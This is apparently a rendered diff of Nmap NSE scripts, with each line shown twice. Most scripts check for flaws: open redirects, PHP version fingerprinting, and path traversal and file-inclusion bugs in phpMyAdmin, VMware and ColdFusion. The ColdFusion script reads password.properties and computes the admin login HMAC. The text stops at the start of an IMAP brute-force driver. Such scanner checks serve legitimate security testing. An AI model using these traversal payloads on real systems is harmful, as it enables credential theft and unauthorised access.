function merge_headers(headers, names) function merge_headers(headers, names)
local seen = {} local seen = {}
local result = {} local result = {}
for _, name in ipairs(names) do for _, name in ipairs(names) do
name = string.lower(name) name = string.lower(name)
if headers[name] then if headers[name] then
for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do for _, v in ipairs(stdnse.strsplit(",%s*", headers[name])) do
if not seen[v] then if not seen[v] then
result[#result + 1] = v result[#result + 1] = v
end end
seen[v] = true seen[v] = true
end end
end end
end end
return result return result
end end

View File

@@ -44,94 +44,94 @@ categories = {"discovery", "intrusive"}
portrule = shortport.http portrule = shortport.http
local function dbg(str,...) local function dbg(str,...)
stdnse.print_debug(2,"http-open-redirect:"..str, ...) stdnse.print_debug(2,"http-open-redirect:"..str, ...)
end end
local function dbgt(tbl) local function dbgt(tbl)
for k,v in pairs(tbl) do for k,v in pairs(tbl) do
dbg(" %s = %s " , tostring(k), tostring(v)) dbg(" %s = %s " , tostring(k), tostring(v))
end end
end end
local function getHostPort(parsed) local function getHostPort(parsed)
local host, port = parsed.host, parsed.port local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme -- if no port was found, try to deduce it from the scheme
if ( not(port) ) then if ( not(port) ) then
port = (parsed.scheme == 'https') and 443 port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80) port = port or ((parsed.scheme == 'http') and 80)
end end
return host, port return host, port
end end
local function isRedirect(status) local function isRedirect(status)
return status >= 300 and status <=399 return status >= 300 and status <=399
end end
-- This function checks if any query parameter was used as a forward destination -- This function checks if any query parameter was used as a forward destination
-- @return false or a new query string to test -- @return false or a new query string to test
local function checkLocationEcho(query, destination) local function checkLocationEcho(query, destination)
dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination)) dbg("checkLocationEcho(%s, %s)", tostring(query), tostring(destination))
local q = url.parse_query(query); local q = url.parse_query(query);
-- Check the values (and keys) and see if they are reflected in the location header -- Check the values (and keys) and see if they are reflected in the location header
for k,v in pairs(q) do for k,v in pairs(q) do
local s,f = string.find(destination, v) local s,f = string.find(destination, v)
if s == 1 then if s == 1 then
-- Build a new URL -- Build a new URL
q[k] = "http%3A%2f%2fscanme.nmap.org%2f"; q[k] = "http%3A%2f%2fscanme.nmap.org%2f";
return url.build_query(q) return url.build_query(q)
end end
end end
return false; return false;
end end
action = function(host, port) action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } ) local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME, redirect_ok = false } )
crawler:set_timeout(10000) crawler:set_timeout(10000)
local results = {} local results = {}
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons -- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort -- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason) return stdnse.format_output(true, "ERROR: %s", r.reason)
else else
break break
end end
end end
local response = r.response local response = r.response
-- Was it a redirect? -- Was it a redirect?
if response and response.header and response.header.location and isRedirect(response.status) then if response and response.header and response.header.location and isRedirect(response.status) then
-- Were any parameters involved? -- Were any parameters involved?
local parsed = url.parse(tostring(r.url)); local parsed = url.parse(tostring(r.url));
-- We are only interested in links which have parameters -- We are only interested in links which have parameters
if parsed.query and #parsed.query > 0 then if parsed.query and #parsed.query > 0 then
-- Now we need to check if any of the parameters were echoed in the location-header -- Now we need to check if any of the parameters were echoed in the location-header
local destination = response.header.location local destination = response.header.location
local newQuery = checkLocationEcho(parsed.query, destination) local newQuery = checkLocationEcho(parsed.query, destination)
--dbg("newQuery: %s" , tostring(newQuery)) --dbg("newQuery: %s" , tostring(newQuery))
if newQuery then if newQuery then
local host, port = getHostPort(parsed); local host, port = getHostPort(parsed);
local ppath = url.parse_path(parsed.path or "") local ppath = url.parse_path(parsed.path or "")
local url = url.build_path(ppath) local url = url.build_path(ppath)
if parsed.params then url = url .. ";" .. parsed.params end if parsed.params then url = url .. ";" .. parsed.params end
url = url .. "?" .. newQuery url = url .. "?" .. newQuery
dbg("Checking potential open redirect: %s:%s%s", host,port,url); dbg("Checking potential open redirect: %s:%s%s", host,port,url);
local testResponse = http.get(host, port, url); local testResponse = http.get(host, port, url);
--dbgt(testResponse) --dbgt(testResponse)
if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then if isRedirect(testResponse.status) and testResponse.header.location == "http://scanme.nmap.org/" then
table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url)) table.insert(results, ("%s://%s:%s%s"):format(parsed.scheme, host, port,url))
end end
end end
end end
end end
end end
if ( #results> 0 ) then if ( #results> 0 ) then
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end
end end

View File

@@ -48,100 +48,100 @@ local CREDITS_QUERY = "/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
-- http://seclists.org/nmap-dev/2010/q4/518 -- http://seclists.org/nmap-dev/2010/q4/518
local LOGO_HASHES = { local LOGO_HASHES = {
-- Bunny (Carmella) -- Bunny (Carmella)
["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"}, ["37e194b799d4aaff10e39c4e3b2679a2"] = {"5.0.0 - 5.0.3"},
-- Black Scottish Terrier (Scotch) -- Black Scottish Terrier (Scotch)
["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"}, ["4b2c92409cf0bcf465d199e93a15ac3f"] = {"4.3.11", "4.4.0 - 4.4.9", "5.0.4 - 5.0.5", "5.1.0 - 5.1.2"},
-- Colored -- Colored
["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"}, ["50caaf268b4f3d260d720a1a29c5fe21"] = {"5.1.3 - 5.1.6", "5.2.0 - 5.2.17"},
-- PHP Code Guy With Breadsticks (Thies C. Arntzen) -- PHP Code Guy With Breadsticks (Thies C. Arntzen)
["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"}, ["85be3b4be7bfe839cbb3b4f2d30ff983"] = {"4.0.0 - 4.2.3"},
-- Brown Dog In Grass (Nadia) -- Brown Dog In Grass (Nadia)
["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"}, ["a57bd73e27be03a62dd6b3e1b537a72c"] = {"4.3.0 - 4.3.10"},
-- Elephant -- Elephant
["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"}, ["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.18", "5.4.0 - 5.4.8"},
} }
local CREDITS_HASHES = { local CREDITS_HASHES = {
["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"}, ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"}, ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.8"},
["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"}, ["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.18"},
["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"}, ["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"}, ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"}, ["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"}, ["50ac182f03fc56a719a41fc1786d937d"] = {"4.3.11", "4.4.0 - 4.4.4", "4.4.9", "5.0.5-2ubuntu1.1", "5.0.5-pl3-gentoo", "5.1.0 - 5.1.2"},
["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"}, ["54f426521bf61f2d95c8bfaa13857c51"] = {"5.1.4", "5.2.9 - 5.2.14"},
["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"}, ["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"}, ["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"}, ["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"}, ["692a87ca2c51523c17f597253653c777"] = {"4.4.6-0.dotdeb.2"},
["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"}, ["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"}, ["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"}, ["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"}, ["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.2", "4.2.2"},
["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"}, ["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"}, ["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.7"},
["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"}, ["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.4"},
["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"}, ["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.10"},
["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"}, ["913ec921cf487109084a518f91e70859"] = {"4.3.2 - 4.3.3", "4.3.6", "4.3.8 - 4.3.10"},
["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"}, ["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"}, ["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"}, ["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"}, ["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"}, ["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5"},
["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"}, ["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"}, ["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"}, ["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"}, ["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"}, ["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.8"},
["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"}, ["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
} }
action = function(host, port) action = function(host, port)
local response local response
local logo_versions, credits_versions local logo_versions, credits_versions
local logo_hash, credits_hash local logo_hash, credits_hash
local header_name, header_value local header_name, header_value
local lines local lines
-- 1st pass : the "special" PHP-logo test -- 1st pass : the "special" PHP-logo test
response = http.get(host, port, LOGO_QUERY) response = http.get(host, port, LOGO_QUERY)
if response.body and response.status == 200 then if response.body and response.status == 200 then
logo_hash = stdnse.tohex(openssl.md5(response.body)) logo_hash = stdnse.tohex(openssl.md5(response.body))
logo_versions = LOGO_HASHES[logo_hash] logo_versions = LOGO_HASHES[logo_hash]
end end
-- 2nd pass : the PHP-credits test -- 2nd pass : the PHP-credits test
response = http.get(host, port, CREDITS_QUERY) response = http.get(host, port, CREDITS_QUERY)
if response.body and response.status == 200 then if response.body and response.status == 200 then
credits_hash = stdnse.tohex(openssl.md5(response.body)) credits_hash = stdnse.tohex(openssl.md5(response.body))
credits_versions = CREDITS_HASHES[credits_hash] credits_versions = CREDITS_HASHES[credits_hash]
end end
for name, value in pairs(response.header) do for name, value in pairs(response.header) do
if string.match(value, "^PHP/") then if string.match(value, "^PHP/") then
header_name = name header_name = name
header_value = value header_value = value
break break
end end
end end
lines = {} lines = {}
if logo_versions then if logo_versions then
lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions) lines[#lines + 1] = "Versions from logo query (less accurate): " .. stdnse.strjoin(", ", logo_versions)
elseif logo_hash and nmap.verbosity() >= 2 then elseif logo_hash and nmap.verbosity() >= 2 then
lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
end end
if credits_versions then if credits_versions then
lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions) lines[#lines + 1] = "Versions from credits query (more accurate): " .. stdnse.strjoin(", ", credits_versions)
elseif credits_hash and nmap.verbosity() >= 2 then elseif credits_hash and nmap.verbosity() >= 2 then
lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
end end
if header_name and header_value then if header_name and header_value then
lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
end end
if #lines > 0 then if #lines > 0 then
return stdnse.strjoin("\n", lines) return stdnse.strjoin("\n", lines)
end end
end end

View File

@@ -94,49 +94,49 @@ local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/"
local EXPLOIT_PATH = "libraries/grab_globals.lib.php" local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
action = function(host, port) action = function(host, port)
local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
local evil_uri = dir..EXPLOIT_PATH local evil_uri = dir..EXPLOIT_PATH
local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
local evil_postdata = EXPLOIT_QUERY:format(rfile) local evil_postdata = EXPLOIT_QUERY:format(rfile)
local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile") local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri) stdnse.print_debug(1, "%s: HTTP POST %s%s", SCRIPT_NAME, stdnse.get_hostname(host), evil_uri)
stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata) stdnse.print_debug(1, "%s: POST DATA %s", SCRIPT_NAME, evil_postdata)
local vuln = { local vuln = {
title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion', title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
IDS = {CVE = 'CVE-2005-3299'}, IDS = {CVE = 'CVE-2005-3299'},
state = vulns.STATE.NOT_VULN, state = vulns.STATE.NOT_VULN,
description = description =
[[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array. [[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
]], ]],
references = { references = {
'http://www.exploit-db.com/exploits/1244/', 'http://www.exploit-db.com/exploits/1244/',
}, },
dates = { dates = {
disclosure = {year = '2005', month = '10', dat = '10'}, disclosure = {year = '2005', month = '10', dat = '10'},
}, },
} }
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local response = http.post(host, port, evil_uri, local response = http.post(host, port, evil_uri,
{header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata) {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
if response.body and response.status==200 then if response.body and response.status==200 then
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body) stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
vuln.state = vulns.STATE.EXPLOIT vuln.state = vulns.STATE.EXPLOIT
vuln.extra_info = rfile.." :\n"..response.body vuln.extra_info = rfile.." :\n"..response.body
if filewrite then if filewrite then
local status, err = write_file(filewrite, response.body) local status, err = write_file(filewrite, response.body)
if status then if status then
vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite) vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
else else
vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err) vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
end end
end end
elseif response.status==500 then elseif response.status==500 then
vuln.state = vulns.STATE.LIKELY_VULN vuln.state = vulns.STATE.LIKELY_VULN
stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile) stdnse.print_debug(1, "%s:[Error] File not found:%s", SCRIPT_NAME, rfile)
stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body) stdnse.print_debug(1, "%s: response : %s", SCRIPT_NAME, response.body)
vuln.extra_info = string.format("%s not found.\n", rfile) vuln.extra_info = string.format("%s not found.\n", rfile)
end end
return vuln_report:make_output(vuln) return vuln_report:make_output(vuln)
end end

View File

@@ -35,45 +35,45 @@ categories = {"vuln", "safe"}
portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"}) portrule = shortport.port_or_service({80, 443, 8222,8333}, {"http", "https"})
local function get_file(host, port, path) local function get_file(host, port, path)
local file local file
-- Replace spaces in the path with %20 -- Replace spaces in the path with %20
path = string.gsub(path, " ", "%%20") path = string.gsub(path, " ", "%%20")
-- Try both ../ and %2E%2E/ -- Try both ../ and %2E%2E/
file = "/sdk/../../../../../../" .. path file = "/sdk/../../../../../../" .. path
local result = http.get( host, port, file) local result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then if(result['status'] ~= 200 or result['content-length'] == 0) then
file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path file = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/" .. path
result = http.get( host, port, file) result = http.get( host, port, file)
if(result['status'] ~= 200 or result['content-length'] == 0) then if(result['status'] ~= 200 or result['content-length'] == 0) then
return false, "Couldn't download file: " .. path return false, "Couldn't download file: " .. path
end end
end end
return true, result.body, file return true, result.body, file
end end
local function fake_xml_parse(str, tag) local function fake_xml_parse(str, tag)
local result = {} local result = {}
local index, tag_start, tag_end local index, tag_start, tag_end
-- Lowercase the 'body' we're searching -- Lowercase the 'body' we're searching
local lc = string.lower(str) local lc = string.lower(str)
-- Lowrcase the tag -- Lowrcase the tag
tag = string.lower(tag) tag = string.lower(tag)
-- This loop does some ugly pattern-based xml parsing -- This loop does some ugly pattern-based xml parsing
index, tag_start = string.find(lc, "<" .. tag .. ">") index, tag_start = string.find(lc, "<" .. tag .. ">")
while index do while index do
tag_end, index = string.find(lc, "</" .. tag .. ">", index) tag_end, index = string.find(lc, "</" .. tag .. ">", index)
table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
index, tag_start = string.find(lc, "<" .. tag .. ">", index) index, tag_start = string.find(lc, "<" .. tag .. ">", index)
end end
return result return result
end end
--local function parse_vmware_conf(str, field) --local function parse_vmware_conf(str, field)
@@ -91,51 +91,51 @@ end
--end --end
local function go(host, port) local function go(host, port)
local result, body local result, body
local files local files
-- Try to download the file -- Try to download the file
result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml"); result, body = get_file(host, port, "/etc/vmware/hostd/vmInventory.xml");
-- It failed -- probably not vulnerable -- It failed -- probably not vulnerable
if(not(result)) then if(not(result)) then
return false, "Couldn't download file: " .. body return false, "Couldn't download file: " .. body
end end
-- Check if the file contains the proper XML -- Check if the file contains the proper XML
if(string.find(string.lower(body), "configroot") == nil) then if(string.find(string.lower(body), "configroot") == nil) then
return false, "Server didn't return XML -- likely not vulnerable." return false, "Server didn't return XML -- likely not vulnerable."
end end
files = fake_xml_parse(body, "vmxcfgpath") files = fake_xml_parse(body, "vmxcfgpath")
if(#files == 0) then if(#files == 0) then
return true, {"No VMs appear to be installed"} return true, {"No VMs appear to be installed"}
end end
-- Process each of the .vmx files if verbosity is on -- Process each of the .vmx files if verbosity is on
-- if(nmap.verbosity() > 1) then --if(nmap.verbosity() > 1) then
-- local result, file = get_file(host, port, files[1]) -- local result, file = get_file(host, port, files[1])
--io.write(nsedebug.tostr(file)) -- io.write(nsedebug.tostr(file))
-- end --end
return true, files return true, files
end end
action = function(host, port) action = function(host, port)
-- Try a standard ../ path -- Try a standard ../ path
local status, result = go(host, port) local status, result = go(host, port)
if(not(status)) then if(not(status)) then
return nil return nil
end end
local response = {} local response = {}
table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE") table.insert(response, "VMWare path traversal (CVE-2009-3733): VULNERABLE")
if(nmap.verbosity() > 1) then if(nmap.verbosity() > 1) then
table.insert(response, result) table.insert(response, result)
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -60,80 +60,80 @@ portrule = shortport.http
action = function(host, port) action = function(host, port)
local vuln = { local vuln = {
title = 'Adobe ColdFusion Directory Traversal Vulnerability', title = 'Adobe ColdFusion Directory Traversal Vulnerability',
state = vulns.STATE.NOT_VULN, -- default state = vulns.STATE.NOT_VULN, -- default
IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'}, IDS = {CVE = 'CVE-2010-2861', OSVDB = '67047'},
description = [[ description = [[
Multiple directory traversal vulnerabilities in the administrator console Multiple directory traversal vulnerabilities in the administrator console
in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the
locale parameter]], locale parameter]],
references = { references = {
'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking', 'http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking',
'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861',
'http://osvdb.org/67047', 'http://osvdb.org/67047',
'http://www.nessus.org/plugins/index.php?view=single&id=48340', 'http://www.nessus.org/plugins/index.php?view=single&id=48340',
}, },
dates = { dates = {
disclosure = {year = '2010', month = '08', day = '10'}, disclosure = {year = '2010', month = '08', day = '10'},
}, },
} }
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
-- Function to do the look up and return content -- Function to do the look up and return content
local grabAndGrep = function(page) local grabAndGrep = function(page)
-- Do the HTTP GET request for the page -- Do the HTTP GET request for the page
local response = http.get(host, port, page) local response = http.get(host, port, page)
-- Check to see if we get a good page returned -- Check to see if we get a good page returned
-- Is there no response? -- Is there no response?
if ( not(response.status) ) then if ( not(response.status) ) then
return false, "Received no response from HTTP server" return false, "Received no response from HTTP server"
end end
-- Is the response not an HTTP 200 code? -- Is the response not an HTTP 200 code?
if ( response.status ~= 200 ) then if ( response.status ~= 200 ) then
return false, ("The server returned an unexpected response (%d)"):format(response.status ) return false, ("The server returned an unexpected response (%d)"):format(response.status )
end end
-- Now check the body for our strings -- Now check the body for our strings
if ( response.body ) then if ( response.body ) then
local saltcontent = response.body:match("salt.*value=\"(%d+)") local saltcontent = response.body:match("salt.*value=\"(%d+)")
local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password local hashcontent = response.body:match("password=(%x%x%x%x+)") --Extra %x's needed or it will match strings that are not the long hex password
-- If a page has both the salt and the password in it then the exploit has been successful -- If a page has both the salt and the password in it then the exploit has been successful
if ( saltcontent and hashcontent ) then if ( saltcontent and hashcontent ) then
vuln.state = vulns.STATE.EXPLOIT vuln.state = vulns.STATE.EXPLOIT
-- Generate HMAC as this is what the web application needs for authentication as admin -- Generate HMAC as this is what the web application needs for authentication as admin
local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper() local hmaccontent = stdnse.tohex(openssl.hmac('sha1', saltcontent, hashcontent)):upper()
--return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent) --return true, ("\n\tHMAC: %s\n\tSalt: %s\n\tHash: %s"):format(hmaccontent, saltcontent, hashcontent)
local result = { local result = {
("HMAC: %s"):format(hmaccontent), ("HMAC: %s"):format(hmaccontent),
("Salt: %s"):format(saltcontent), ("Salt: %s"):format(saltcontent),
("Hash: %s"):format(hashcontent) ("Hash: %s"):format(hashcontent)
} }
return true, result return true, result
end end
end end
return false, "Not vulnerable" return false, "Not vulnerable"
end end
local exploits = { local exploits = {
['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en', ['CFusionMX'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties%00en',
['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en', ['CFusionMX7'] = '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties%00en',
['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en', ['ColdFusion8'] = '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en',
['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en', ['JRun4\\servers'] = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties%00en',
} }
local results = {} local results = {}
for prod, exploit in pairs(exploits) do for prod, exploit in pairs(exploits) do
local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit) local status, result = grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
if ( "string" == type(result) ) then if ( "string" == type(result) ) then
result = { result } result = { result }
end end
result.name = prod result.name = prod
table.insert(results, result ) table.insert(results, result )
end end
end end
vuln.extra_info=stdnse.format_output(true, results) vuln.extra_info=stdnse.format_output(true, results)
return vuln_report:make_output(vuln) return vuln_report:make_output(vuln)
end end

View File

@@ -46,98 +46,98 @@ ConnectionPool = {}
Driver = Driver =
{ {
-- Creates a new driver instance -- Creates a new driver instance
-- @param host table as received by the action method -- @param host table as received by the action method
-- @param port table as received by the action method -- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool -- @param pool an instance of the ConnectionPool
new = function(self, host, port, pool) new = function(self, host, port, pool)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Connects to the server (retrieves a connection from the pool) -- Connects to the server (retrieves a connection from the pool)
connect = function( self ) connect = function( self )
self.helper = ConnectionPool[coroutine.running()] self.helper = ConnectionPool[coroutine.running()]
if ( not(self.helper) ) then if ( not(self.helper) ) then
self.helper = imap.Helper:new( self.host, self.port ) self.helper = imap.Helper:new( self.host, self.port )
self.helper:connect() self.helper:connect()
ConnectionPool[coroutine.running()] = self.helper ConnectionPool[coroutine.running()] = self.helper
end end
return true return true
end, end,
-- Attempts to login to the server -- Attempts to login to the server
-- @param username string containing the username -- @param username string containing the username
-- @param password string containing the password -- @param password string containing the password
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success -- @return brute.Error on failure and brute.Account on success
login = function( self, username, password ) login = function( self, username, password )
